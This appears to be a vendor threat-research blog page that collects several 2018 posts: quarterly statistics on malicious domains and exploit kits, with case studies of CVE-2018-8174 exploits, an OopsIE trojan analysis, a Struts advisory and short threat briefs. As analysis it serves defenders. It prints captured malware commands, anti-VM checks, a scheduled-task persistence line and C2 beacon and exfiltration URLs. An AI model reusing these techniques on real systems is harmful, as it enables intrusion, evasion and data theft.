Web-based Threats-2018 Q2: U.S. Remains #1 in Malicious Web Addresses, China Falls from #2 to #7

Posted on by Bo Qu

Executive Summary

In Q2, the United States was number one for hosting malicious domains and exploit kits.

Unit 42 regularly analyzes statistical data from our Email Link Analysis (ELINK) to understand the patterns and trends in current web threats.  This blog outlines our analysis for April – June (Q2) 2018  and follows up our previous blog analyzing web-based threats for January – March (Q1) 2018 that can be found here. We also provide detailed analysis of attacks against CVE-2018-8174 (a vulnerability we discuss below) using the Double Kill exploit.

What we found this quarter was that vulnerabilities under attack remained consistent, including very old vulnerabilities. One new vulnerability used zero-day attacks did rocket to near the top of the list.

The United States remained the number one hoster of malicious domains, with a marked increase in the Netherlands as well. Outside of these two countries hosted malicious domains dropped markedly across the globe, including in Russia and China.

The United States was also the number one hoster for exploit kit (EKs) globally by a more than two to one margin compared with the number two country, Russia. In fact, the United States alone accounted for more EKs globally than all other countries combined. KaiXin, Sundown, and Rig exploit kits remained active from Q1 to Q2. We saw a significant difference in regional prevalence with KaiXin being found primarily in China, Hong Kong, Korea and Grandsoft (a newly emergent EK), Sundown and Rig prevalent everywhere else.

Based on our findings, our guidance is for organizations to focus on ensuring Microsoft Windows and Adobe Flash and Reader are fully up to date with the latest versions and security updates. In addition, organizations should look at using limited privilege user accounts to limit the damage of malware. Finally, protections against malicious URLs and domains and using endpoint security to prevent malware like exploit kits can all help with the threats outlined in this posting.

 

Key Takeaways:

  • Malicious Hosted Domains
    1. The United States remains the number one country for hosting malicious domains.
    2. Overall, except for the Netherlands, the number of malicious domains hosted outside of the United States was significantly smaller than we saw in Q1.
    3. We saw a significant increase in malicious domains hosted in the Netherlands.
    4. We saw significant decreases in malicious domains hosted in Russia and China dropping both to be tied at number 7 on our list.
    5. While we saw a significant decrease in malicious domains hosted in Hong Kong, it remained the third largest hoster of malicious domains.
    6. Australia moved to number four on the list, but the increase wasn’t significant.
    7. The number of malicious domains hosted in Germany dropped by over half.
    8. The number of malicious hosted domains in the United Kingdom and Italy was unchanged. However due to the overall decline outside of the United States and the Netherlands, they actually moved from being tied at number 3 to number 6.
  • Vulnerabilities
    1. A new vulnerability is aggressively used.
      • CVE-2018-8174, a Microsoft VBScript vulnerability that was used in zero-day attacks and patched in May has been aggressively used in web-based attacks this quarter.
    2. Very old vulnerabilities are still useful.
      • CVE-2009-0075, a nine-and-a-half-year-old vulnerability Microsoft Internet Explorer 7 vulnerability was in our top five list last quarter and is number four this quarter.
      • CVE-2008-4844, another nine-and-a half vulnerability affecting Microsoft Internet Explorer 5, 6 and 7 is number five this quarter.
    3. Vulnerabilities under attack remain consistent.
      • Four of our top five this quarter were in our top six list last quarter (CVE-2016-0189, CVE-2014-6332, CVE-2009-0075, and CVE-2008-4844)
  • Exploit Kits
    1. The United States was the number one source for Grandsoft, Sundown, and Rig and the number two source for KaiXin making it the number one source for Exploit Kits globally. In fact, the US accounted for more than twice the number of Exploit Kits globally as the number two, Russia.
    2. Russia was number two globally for Grandsoft, Sundown and Rig exclusively.
    3. KaiXin showed up primarily in China, Hong Kong, and Korea, with limited distribution in the United States and Netherlands.
    4. Consistent with other findings in this report, the Netherlands came in at number 5 on our list, primarily for Grandsoft, Sundown and Rig but also KaiXin.
    5. Australia came in at number 6 on our list. Interestingly, even though KaiXin was prevalent in the APAC region, there were no instances of KaiXin in Australia only Grandsoft, Sundown and Rig.
    6. KaiXin, Sundown, and Rig were consistently in use across Q1 and Q2.
    7. Sinowal which we tracked in Q1 disappeared this quarter.
    8. Grandsoft is a new entry this quarter.

 

Analysis

Vulnerabilities (CVEs)

In the second quarter of 2018 we observed 6 different CVEs being exploited. Table 1 below shows the top three CVEs for the first and second quarters of 2018.

1st Quarter 2nd Quarter
1. CVE-2014-6332: exploited by 774 malicious URLs 1. CVE-2016-0189: exploited by 472 malicious URLs
2. CVE-2016-0189: exploited by 219 malicious URLs 2. CVE-2018-8174: exploited by 291 malicious URLs
3. CVE-2015-5122: exploited by 85 malicious URLs 3. CVE-2014-6332: exploited by 67 malicious URLs

Table 1. CVE comparison between first and second quarter 2018

The chart below shows the CVEs and number of URLs seen leveraging the respective CVEs.

Figure_2 (1)

 

Figure 1. CVE distribution graph

Compared to the data observed from the first quarter of this year, the URL count exploiting certain CVEs have changed positions in ranking.

CVE-2014-6332, a four year old code execution vulnerability in Microsoft OLE automation fixed by MS14-064, dropped significantly from first place with 774 malicious URLs, to third place with 67 malicious URLs. In the second quarter.

CVE-2015-5122, a three year old code execution vulnerability in Adobe reader fixed with an emergency release by APSA15-04 and later by APSB15-18, was number three last quarter but dropped off the top six list entirely this quarter.

CVE-2016-0189, a two year old scripting engine vulnerability affecting Microsoft Internet Explorer, as well as Jscript and VBScript and fixed by MS16-051 and MS16-053 respectively, moved by number one by more than doubling its previous standing from 219 malicious URLs in the first quarter to 472 malicious URLs in the second quarter.

Of particular note is CVE-2018-8174 a code execution vulnerability in the Microsoft VBScript engine that was detected as a zero-day attack and patched by Microsoft in May 2018. This vulnerability wasn’t publicly known until the second quarter and we can see was quickly used by attackers taking advantage of it, making it number two on our list in the second quarter, exploited by 291 malicious URLs.

To shed more light on this CVE we investigated an active exploit dubbed Double Kill which we will discuss in the case study section of this blog below.

Finally, we should note again the presence of CVE-2009-0075, a vulnerability from February 2009 in Microsoft Internet Explorer 7 fixed with MS09-002 and CVE-2008-4844 a vulnerability in Microsoft Internet Explorer 5, 6 and 7 fixed with MS08-078. These two roughly nine-and-a-half-year-old vulnerabilities continue to be useful for attackers, as shown by them being number five and six list last quarter and number four and five on our list, respectively, this quarter.

The net lessons from this quarter’s statistics are the very old and very new vulnerabilities show themselves to be useful. There’s also a steadiness to the vulnerabilities attackers are favoring since four of the top five vulnerabilities this quarter were in use last quarter. The fact that number two on our list is new vulnerability only addressed in May and was used in zero-day attacks also tells us that attackers are ready to move quickly to adapt their attacks to vulnerabilities shown to be useful.

The continued use of these two nine-and-a-half-year-old Internet Explorer vulnerabilities also tells us that Internet Explorer 7 and earlier are in use and unpatched.

 

Domains/URLs

Domains

We observed 440 malicious domains serving up to exploit the aforementioned CVEs. A list of countries and regions is below:

 

Ranking in Q2 Country/region Number of domains in Q2 Number of domains in Q1 Previous Ranking in Q1
1. US United States 248 257 1
2. NL Netherlands 31 13 5
3. HK Hong Kong 9 41 3
4. AU Australia 6 1 11 (tied)
5. DE Germany 5 12 6
6 (tied) GB United Kingdom 3 3 9 (tied)
6 (tied) IT Italy 3 3 9 (tied)
7 (tied) CN China 2 106 2
7 (tied) RU Russian 2 20 4
8 (tied) CA Canada 1 0 NA
8 (tied) ES Spain 1 1 11 (tied)
8 (tied) FR France 1 8 8
8 (tied) IE Ireland 1 0 NA
8 (tied) KG Kyrgyzstan 1 0 NA

Table 2. country/region distribution graph of malicious domains

URLs

As far as malicious URLs go, the United States takes the lead with 495 malicious URLs and Russia is runner up with 147 URLs. Compared to the first quarter blog, malicious URLs hosted in United States almost doubled in the second quarter, while malicious URLs hosted in Russia were almost seven times higher.  The complete count for each country/region is shown below in Table 2:

 

Figure_3

 

Figure 3. Malicious URLs country/region distribution graph

Exploit Kits

There were 1072 malicious URLs out of the total 1373 serving EKs. As with malicious domains, we were unable to discover hosting information for some of the domains as they were gone prior to starting research on this blog, which is why Figure 3 adds up to less than 1373.

The EKs we found in our analysis for this quarter included KaiXin, Grandsoft, Sundown, and Rig. Three of these EKs were in our Q1 report: KaiXin, Sundown, and Rig. One EK in our Q1 report, Sinowal, has dropped out of our list. And Grandsoft was not present in our list in Q1 and is now in our list.

 

Ranking Country KaiXin Grandsoft, Sundown, and Rig Total
1. USA 44 252 296
2. Russia 0 139 139
3. China 47 0 47
4. Hong Kong 31 10 41
5. Netherlands 2 31 33
6. Australia 0 6 6
7. Korea 5 0 5
  Total 129 438 567

Table 4 Ranking of Countries Hosting Exploit Kits

The various EKs seem to target a certain country or region cluster. For instance, KaiXin EK was only reported in 5 country/regions (see Figure 4 below), mostly within Asia. This EK mostly leverages the vulnerability CVE-2014-6332.

Figure_4

Figure 4. KaiXin EK distribution graph

The Grandsoft, Sundown, and Rig EKs were far more visible in other parts of the world. Out of the 16 country/region where they were seen, the United States had the highest number of malicious links EKs, at 252. Second and third place were Russia with 139, and the Netherlands with 31. These EKs mostly exploit CVE-2016-0189. Figure 5 below shows each country/region and associated numbers.

Figure_5

Figure 5. Grandsoft/Sundown/Rig EK distribution graph

Case Studies

Evolution of Attacks Against CVE-2018-8174

As noted in the previous CVE section, on May 8, Microsoft published information and a patch for CVE-2018-8174, a Windows VBScript Engine Remote Code Execution Vulnerability. It’s a critical vulnerability that impacts 31 Microsoft products and could lead to remote code execution. A couple of notable exploits of this CVE that we’ve observed are discussed in the below case studies.

Double Kill: Version 1

Unit 42 found the first active exploit in the wild on May 12, four days after a patch was issued. It is interesting to point out that it took four days for threat actors to create and weaponize the exploit after Microsoft’s disclosure of the vulnerability. 

The first version of the exploit didn’t obfuscate html code, except for functions and variables with "I", "1", "l" or combinations thereof; note that while two of the letters look the same, one is an uppercase ‘i’ and the other a lowercase ‘L’. Also, we observed some plaintext strings in the exploit; “msvcrt.dll”, “ntdll.dll”, “VirtualProtect”, “NtContinue”, and “kernelbase.dll”. According to our research, we found that the exploit used msvcrt.dll to find the DLL load address of kernelbase and ntdll, and then tried to find the function address of NtContinue in ntdll and VirtualProtect in kernelbase from their exported table, at last controlled EIP to execute NtContinue, then execute VirtualProtect to change the memory attribute to Read Write Execute (RWE) and execute the real shellcode in the last stage of exploit. as seen here:

Figure_6

Figure 6. source code

Below are some malicious behaviors we captured from this first version of the exploit. These malicious behaviors show the exploit downloaded a document file to the Windows temp directory, deleted some registry entries to make sure there is no entry to be restored when opening Word next time.

 

WriteFile

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EZ9ET1Q3\Microsoft-help[1].wll

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\70Z9M5D6\Microsoft-help[1].doc

\Users\Administrator\AppData\Roaming\Microsoft\Word\STARTUP\Microsoft-help.doc

 

Command execution

cmd.exe /c ping 127.0.0.1 -n 1 &

REG DELETE HKCU\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\11.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\15.0\Word\Resiliency\StartupItems /f&

REG DELETE HKCU\Software\Microsoft\Office\16.0\Word\Resiliency\StartupItems /f&

start "" "C:"

 

Double Kill: Version 2

In the second exploit, attackers used several types of obfuscation to hide the exploit. For example, the textarea HTML tag with display attribute “none” was used to hide the real exploit code. The obfuscated string in textarea started with “>tpircs and ended with “>tpircs<” will not be showed in html page, but it can be deobfuscated to a meaningful string as a part of exploit, for example “tpircs” will be decrypted to “script” tag as shown below in Figure 7.

figure 7

Figure 7. Obfuscated case part 1

The exploit also uses RegExp and very heavy JavaScript obfuscation. The threat actors utilized several functions like Regex and unescap to make variables seem meaningless, as shown here in Figure 8:

figure_8

Figure 8. Obfuscated case part 2

In the VB part, obfuscation was not as widely used. Keyword separation using string concatenation and substitution was used instead to evade detection. For example, in Figure 9 below we’ve pointed out where "vbscript" and "fromCharCode" were manipulated.

figure_9

Figure 9. Obfuscated case part 3

Captured with shellcode execution, we can see the exploit downloaded the malicious PE file to the temp directory and executed it directly through createProcess from some malicious behaviors that were logged:


WriteFile

\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EZ9ET1Q3\v3[1].exe

\Users\ADMINI~1\AppData\Local\Temp\z.exe


Command execution

C:\Users\ADMINI~1\AppData\Local\Temp\z.exe


Largest Criminal Attack Campaign in the Second Quarter

This attack exploits the same vulnerability (CVE-2018-8174) as Double Kill but uses a different method to deliver the payload. It uses PowerShell to download and execute files as shown below in Figure 10.

figure_10

Figure 10. Obfuscated case part 4

This attack campaign was clearly planned in advance. The malicious domain, ‘payert-gov[.]uk’, was registered around 10:30 AM June 26. The attack started around 10:30 AM June 28. After around one hour, the domain became unresponsive. The domain registration shows that the attacker likely used public information details from an employee of a legitimate financial institution (which was not targeted in this attack).

In total, we captured 699 malicious emails within this attack. All the malicious emails with malicious links we captured were sent from the spoofed “no-reply@hmrcmailgov.uk” email with the subject field containing: “Important : Outstanding Amount”. All malicious URLs used the C2 domain ‘payert-gov[.]uk’. You can see an example of the emails at My Online Security.

 

Conclusion

Looking at this quarter’s trends, we see a surprising drop in malicious sites globally, particularly in Russia and China. Meanwhile, the United States remained the top hosting country for malicious sites and exploit kits. Another surprise this quarter is the sudden, unexpected spike in the Netherlands, both in terms of malicious sites and exploit kits.

In the realm of vulnerabilities, we see remarkable consistency, with a nearly identical roster of vulnerabilities under attack in this quarter as last quarter. The only notable addition to this roster is a vulnerability known to be used in zero-day attacks.

We also saw a clear geographic division in the use of exploit kits, with KaiXan favored in East Asia while Grandsoft, Sundown, and Rig were used more in Europe and the United States.

Next quarter, we’ll return to review this quarter’s statics and trends against the latest data from ELINK to help you better understand the threat trends that are out there.

 

OilRig targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE

Posted on by Robert Falcone

The OilRig group maintains their persistent attacks against government entities in the Middle East region using previously identified tools and tactics. As observed in previous attack campaigns, the tools used are not an exact duplicate of the previous attack and instead is an iterative variant. In this instance a spear phishing email was used containing a lure designed to socially engineer and entice the victim to executing a malicious attachment. The attachment was identified as a variant of the OopsIE trojan we identified in February 2018. In this iteration of OopsIE, the general functionality largely remained the same but contained the addition of anti-analysis and anti-virtual machine capabilities to further evade detection from automated defensive systems.
 
Attack Details
In July 2018, we reported on a wave of OilRig attacks delivering a tool called QUADAGENT involving a Middle Eastern government agency. During that wave, we also observed OilRig leveraging additional compromised email accounts at the same government organization to send spear phishing emails delivering the OopsIE trojan as the payload instead of QUADAGENT. The OopsIE attack also targeted a government agency within the same nation state, though a different organization than the one targeted delivering QUADAGENT. The email subject was in Arabic, which translated to “Business continuity management training”. The email was sent to an address belonging to a user group, rather than a specific individual’s email address. Based on open source data collection, it appears the targeted group had publicly published several documents regarding business continuity management on the Internet, indicating the lures were purposefully crafted for this specific attack.
 
Evasion Techniques
The OopsIE variant delivered in this attack begins its execution by performing a series of anti-VM and sandbox checks. If any of the checks described in Table 1 are successful, the Trojan will exit without running any of its functional code. These evasion techniques are meant to thwart automated analysis in an effort to avoid detection.
 

Technique Description
Fan Check The Trojan will perform the following WMI query:
 
Select * from Win32_Fan
 
According to MSDN, this query should return a class that provides statistics on the CPU fan. The Trojan checks to see if the result of this query returned a class with more than 0 elements, which would most likely be true in a non-virtual environment.
Temperature Check The Trojan will perform the following WMI query:
 
SELECT * FROM MSAcpi_ThermalZoneTemperature
 
The Trojan will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine.
Mouse Pointer Check The Trojan will perform the following WMI query:
 
Select * from Win32_PointingDevice
 
The Trojan will check the Caption, Description, HardwareType, InfSection, Manufacturer and Name fields in the results for the string VMware, Virtual, VBox, VM or Oracle.
Hard Disk Check The Trojan will perform the following WMI query:
 
Select * from Win32_DiskDrive
 
The Trojan will check the Caption and Model fields in the results for the strings Virtual, VMWare, VM, VBox or Oracle.
Motherboard Check The Trojan will perform the following WMI query:
 
Select * from Win32_BaseBoard
 
The Trojan will check the Manufacturer and Product fields in the results for the strings VMware, Virtual, VBox, VM or Oracle.
Sandboxie DLL Check The Trojan will attempt to load the SbieDll.dll module via LoadLibrary.
VBox DLL Check The Trojan checks to see if the file vboxmrxnp.dll exists in the system directory.
VMware DLL Check The Trojan checks to see if the files vmGuestLib.dll or vmbusres.dll exist in the system directory.
Timezone Check The Trojan check to see if the system is configured (“DaylightName”) with one of the following time zones:
 
Arabic Daylight Time (UTC+3)
Arab Daylight Time (UTC+3)
Arabian Daylight Time (UTC+4)
Middle East Daylight Time (UTC+2)
Iran Daylight Time (UTC+3.5)
Human Interaction Check Before executing its functional code, the Trojan presents a dialog box with the following line of code:
 
Interaction.MsgBox(encodedStringClass.return_user32_bogus_errorcode_(3), MsgBoxStyle.Critical, null);
 
This dialog box displays  An error occurred while processing user32.dll!, which the user must click the ok button for the Trojan to run its functional code.

Table 1 List of anti-vm and anti-sandbox techniques used by OopsIE
 
Most of these evasion techniques have been observed in other malware families; however, a few of the techniques were more novel. First, we had not seen the CPU fan check used before, and upon testing the WMI query in a VMware Windows 7 virtual machine we saw no result, as seen in Figure 1
Oilrig_1

Figure 1 WMI query for the Win32_Fan class on a VM returning no statistics

However, when we ran the same query in a physical system running Windows 7, we saw the contents of the Win32_Fan class, as seen in Figure 2. The OopsIE payload checks to see if the result of this query as more than 0 elements to determine if it is running on a virtual machine.
Oilrig_2

Figure 2 WMI query for Win32_Fan run on a physical system showing statistics

Secondly, the CPU temperature check seen in this payload was previously used by GravityRAT, as discussed earlier this year by security researchers at Talos. They noted that while virtual machines were detected by this technique, some physical systems were also detected as virtual machines because they did not support the WMI query. This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query.
The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set. The Trojan compares the TimeZone.CurrentTimeZone.DaylightName property to strings Iran, Arab, Arabia and Middle East, which will match the following time zones in Windows:
 
Arabic Daylight Time (UTC+3)
Arab Daylight Time (UTC+3)
Arabian Daylight Time (UTC+4)
Middle East Daylight Time (UTC+2)
Iran Daylight Time (UTC+3.5)
According to MSDN, these five time zones encompass 10 countries that fall within UTC+2, +3, +3.5 or +4 as seen in Figure 3. The fact that the Trojan will not operate on systems that are not configured with these time zones suggests that this is a highly targeted attack focused on a specific subset of target nations.
 
Oilrig_3

Figure 3 Countries in which OopsIE will run in based on the time zone

Notable Differences
The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog. The main similarities include the use of a scheduled task to persistently execute on the system, as well as the same general process to communicate with its C2 server. For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands. Also, this version of the Trojan inspects HTTP responses from the C2 server for the tags <pre> and </pre> and will parse that data for commands.
However, there are many differences introduced to this version of OopsIE from the previously discussed variant. At face value, this current variant of OopsIE has a vast majority of its strings obfuscated, which can be deobfuscated by splitting the strings using the hyphen as a delimiter, treating each split value as an integer, subtracting one from each integer and converting each into a character. The following code snippet was used to decode strings within OopsIE:

When first run, this OopsIE variant runs a variety of checks to avoid running in an analysis environment, as discussed in the previous section. The last check requires the user to click the ‘Ok’ button in an error dialog box, as seen in Figure 4.
Oilrig_4

Figure 4 Error dialog box displayed by OopsIE

After displaying the error dialog box, the Trojan will sleep for two seconds by running the following command that runs the choice application. The use of the choice command, as seen below, did not appear in previous versions of OopsIE and appears to have been added in the most recent version used in this attack.
cmd.exe /C choice /C Y /N /D Y /T 2 & Del
After sleeping, the Trojan will create a GUID and write it to %APPDATA%\Windows\GDI.bin. It then moves itself to %APPDATA%\Windows\WindowsImplantment.exe and sets both of these files to have the hidden and system flags to hide them from the user.
With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. The Trojan accesses two resources, named Sch and VBS that contains obfuscated strings that contain the command to create the scheduled task and the VBScript to run. The decoded string from the Sch resource is:
SchTasks /Create /SC MINUTE /MO 3 /TN "%n%" /TR "wscript %path%" /f
The decoded string from the VBS resource is:
CreateObject("WScript.Shell").Run("%app%")
The %n% string in the schtasks command above will be replaced with the GUID saved to GDI.bin. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. The %path% string in the scheduled task command will be replaced with the path to the following:
%APPDATA%\Windows\ShwDoc.VBS
The decoded string from the VBS resource is written to ShwDoc.VBS. The %app% string in the VBScript is replaced with %APPDATA%\Windows\WindowsImplantment.exe. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution.
After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. This particular sample uses the following domain as its C2 server:
www.windowspatch[.]com
One obvious difference between this version of OopsIE compared to the previously analyzed version is the strings in the C2 URLs are reversed, from chk to khc, what to tahw and resp to pser. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. Also, this variant of OopsIE uses the output of the whoami command as the parameter within the URL when communicating with the C2 server, which differs from the previous OopsIE variant that used the hostname and username from the environment variables. The C2 communications begins with a beacon to the following URL:
hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)>
If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL. If the Trojan receives this echo, it will create the following file that the Trojan uses as a signal that it was able to successfully communicate with its C2 server:
%APPDATA%\Windows\ShwDoc.srv
If the Trojan determines the C2 server wishes to send a command, it sends an HTTP request to the following URL:
hxxp://www.windowspatch[.]com/tahw?<hex(STDOUT of whoami command)>
The Trojan will first check the response to this request for the string spoo, which signifies the C2 does not wish to issue a command. Otherwise, the Trojan will attempt to parse the response for a command, specifically by splitting the decode response on <> and treating the text to the left of the <> string as the command the text to the right as the command arguments. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2. The one difference in this command handler from the previous version is the boom! command, which allows the actor to uninstall the OopsIE Trojan from the system.

Command Description
1 Runs a supplied command and writes it output to %APPDATA%\SchWin.vbs, which will then be uploaded to the C2 server.
2 Downloads a file to the system. Splits argument on "(|)", with the string to the left representing the filename to save and the string to the right representing the data to write to the file.
3 Read specified file and uploads its contents to the C2 server.
boom! Deletes GID.bin, ShwDoc.VBS and ShwDoc.srv files, as well as the scheduled task whose name a GUID stored in the GID.bin file.

Table 2 OopsIE commands

When sending data to the C2 server after running commands, the Trojan will use the following URL structure with either BBY or BBZ splitting the whoami output and the exfiltrated data:
http://www.windowspatch.com/pser?<hex(STDOUT of whoami command)(BBZ|BBY)hex(up to 1000 bytes of hexadecimal data)>
 
Conclusion
The OilRig group remains a persistent adversary in the Middle East region. They continue to iterate and add capabilities to their tools while still functionally using the same tactics over and over again. Within the time frame we have been tracking the OilRig group, they have repeatedly shown a willingness to add less commonly found functionality to their tools, such as their heavy use of DNS tunneling in their backdoors or adding authentication to their webshells. This attack is no different, now adding anti-analysis capabilities into their tools. This adversary is highly resourceful and continues to adapt over time. However, the tactics they continue to deploy are generally unsophisticated, and simple security hygiene would help organizations protect themselves against this threat.
Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by:

  • AutoFocus customers can track this Trojan with the OopsIE tag
  • All known OopsIE samples are marked with malicious verdicts in WildFire
  • All known OopsIE C2 domains have DNS signatures and are classified as Command and Control

 
Indicators of Compromise
OopsIE Trojan
36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23
055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9
6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761
9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17

OopsIE C2
defender-update[.]com
windowspatch[.]com

Threat Brief: Information on Critical Apache Struts Vulnerability CVE-2018-11776

Posted on by Unit 42

Situation Overview
On August 22, 2018, the Apache Foundation released a critical security update for CVE-2018-1176, a remote code execution vulnerability affecting Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16. The Apache Foundation has urged everyone to apply the security updates as soon as possible.
This blog is to provide information to help organizations assess their risk of the vulnerability and to inform Palo Alto Networks customers of protections in place that can help mitigate their risk until they can apply the security updates. Palo Alto Networks customers who have deployed the latest vulnerability signatures released on August 24, 2018, are protected.

Vulnerability Information
According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts. The method of attack would be through a specially crafted URL sent to the vulnerable system. In most cases, this means no authentication is required to exploit the vulnerability.
A successful attack would run code in the security context that Struts is using. In some cases, this could effectively lead to a total compromise of the system.
It’s important to note, however, that the vulnerability is not exploitable in default configurations. The following two conditions must both be met for a system to be vulnerable to attack:

  1. The alwaysSelectFullNamespace flag is set to “true” in the Struts configuration. (Note: If your application uses the popular Struts Convention plugin this is set to “true” by default by the plugin.
  2. The Struts application uses “actions” that are configured without specifying a namespace, or with a wildcard namespace. This condition applies to actions and namespaces specified in the Struts configuration file . NOTE: your application uses the popular Struts Convention plugin this condition also applies to actions and namespaces specified in Java code.

If your Struts application does not meet both of these conditions, your application may still be vulnerable but not (currently) exploitable via CVE-2018-11776.
In particular, if your application uses the popular Struts Convention plugin, it appears to potentially increase your risk of exploitability vis-à-vis other Struts implementations that do not use that plugin.

Threat Environment Information
The vulnerability was disclosed on August 22 in conjunction with security updates that address it. There is detailed information about the vulnerability and how to exploit it available currently. There is also proof of concept (PoC) code available already. As noted above, the PoC works only against systems that are vulnerable and meet both conditions for exploitability.
Some have noted that a previous critical Struts vulnerability was actively attacked last year only three days after the release of the security update and vulnerability information.
There are no known active attacks at this time and the current requirement that two, non-default conditions need to be met for the vulnerability to be exploitable makes for a different threat environment.
However with active PoC available we can expect at the minimum probing, if not active exploitation of this vulnerability in the near term.
Organizations should focus their risk assessments for possible attack until they can patch on four things:

  1. Are they using the Struts Convention plugin?
  2. Do they meet both of the required conditions for exploitation?
  3. Any weaponization or indication of attacks using the current PoC
  4. Developments of new PoC or attacks that render moot the two conditions required for exploitability?

Guidance and Protections for Palo Alto Networks Customers
All organizations running vulnerable versions of Apache Struts should deploy the security updates as soon as possible.
Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and  on currently available information.
Palo Alto Networks customers who have deployed vulnerability signatures in content release version 8057 released on August 24, 2018, which include ID 33948 Name: Apache Struts 2 Remote Code Execution Vulnerability, are protected against currently known exploits against that vulnerability.
Our customers should still deploy the security update as recommended above, but can and should deploy the latest vulnerability signature immediate for additional protection. With this addition protection available, our customers can and should include that as part of their decisions around security and deployment of the security updates and their risk assessment of the vulnerability and threat environment.
As always, we are monitoring the situation closely and will provide additional details as they become available.

Four Unit 42 Vulnerability Researchers Make MSRC Top 100 for 2018

Posted on by Unit 42

Palo Alto Networks Unit 42 is proud to announce that four of our researchers were named to the Microsoft Security Response Center (MSRC) “Top 100 Security Researchers List” for 2018. This is the third year Unit 42 researchers have been included in this prestigious list, which is announced every year at Black Hat. This year’s Unit 42 winners are:

Rank Name
10 Gal De Leon
13 Hui Gao
73 Tao Yan
79 Jin Chen

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Android and other ecosystems. By proactively identifying vulnerabilities, developing protections for our customers, and sharing them with Microsoft for patching, we are removing weapons used by attackers that compromise enterprise, government and service provider networks.
Below is the full list of this year’s top 100. To better understand how this recognition is both important and an honor, this posting by Phillip Misner of the MSRC gives you an idea of what’s behind the program.
MSRC_1

Threat Brief: Cyber Attackers Using Your Home Router To Bring Down Websites

Posted on by Unit 42

In recent research, Palo Alto Networks found attackers were targeting home routers to take control and use them for attacks against other websites that can bring them down. Here we explain this type of attack and what you should do.

Why should I care, what can it do to me?
These attacks could affect you in two ways:

  1. They can slow down or disrupt your internet connection,
  2. They can also make you an unwitting participant in attacks against other websites.

What causes this kind of attack?
Weak passwords and out-of-date software can both enable attackers to take complete control of your home router.

How can I prevent it?
Attackers target home routers like this by targeting default passwords and out-of-date software on the routers. An easy thing you can do is restart your router once a week (typically by unplugging it).
You can also stay safe by changing the password on your router and updating the software. If you’re not sure how to do this, contact your Internet Service Provider (ISP) that gave you the router for help.

How does it work?
When devices (in this case, the routers) are under someone else’s control like this, the collection is referred to as a “botnet”, a network (-net) of remotely controlled systems or devices (bot-).
When attackers have complete control of your home router, they can install attack software that they control, turning the device into a “bot”. Attacks can make all the controlled routers in a botnet do anything they want, including sending huge amounts of data to try and bring websites down.
These kinds of attacks are called “Distributed Denial of Service” or “DDoS” attacks. Attackers use them to take down websites for several reasons:

  • Personal or political reasons
  • To blackmail websites to pay money or face attack
  • To act as a diversion for other more serious attacks
  • Simply to create mischief

About
Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.
They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.
Got a topic you want us to write about for you, your friends, or your family? Email us at u42comms@paloaltonetworks.com.

DarkHydrus Uses Phishery to Harvest Credentials in the Middle East

Posted on by Robert Falcone

Last week, Unit 42 released a blog on a newly named threat group called DarkHydrus that we observed targeting government entities in the Middle East. The attack that we discussed in our previous publication involved spear-phishing to deliver a PowerShell payload we call RogueRobin; however, we are aware of DarkHydrus carrying out a credential harvesting attack in June 2018. It also appears that this an ongoing campaign, as we have evidence of previous credential harvesting attempts using the same infrastructure dating back to the Fall of 2017. These attacks were targeting government entities and educational institutions in the Middle East.
The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the “attachedTemplate” technique to load a template from a remote server. When attempting to load this remote template, Microsoft Office will display an authentication dialog box to ask the user to provide login credentials. When entered, these credentials are then sent to the C2 server, which allows DarkHydrus to collect the user account credentials.
Based on Unit 42’s analysis, DarkHydrus used the open-source Phishery tool to create two of the known Word documents used in these credential harvesting attacks. As discussed in our previous blog, this further strengthens DarkHydrus’ use of the open source for their attack tools.
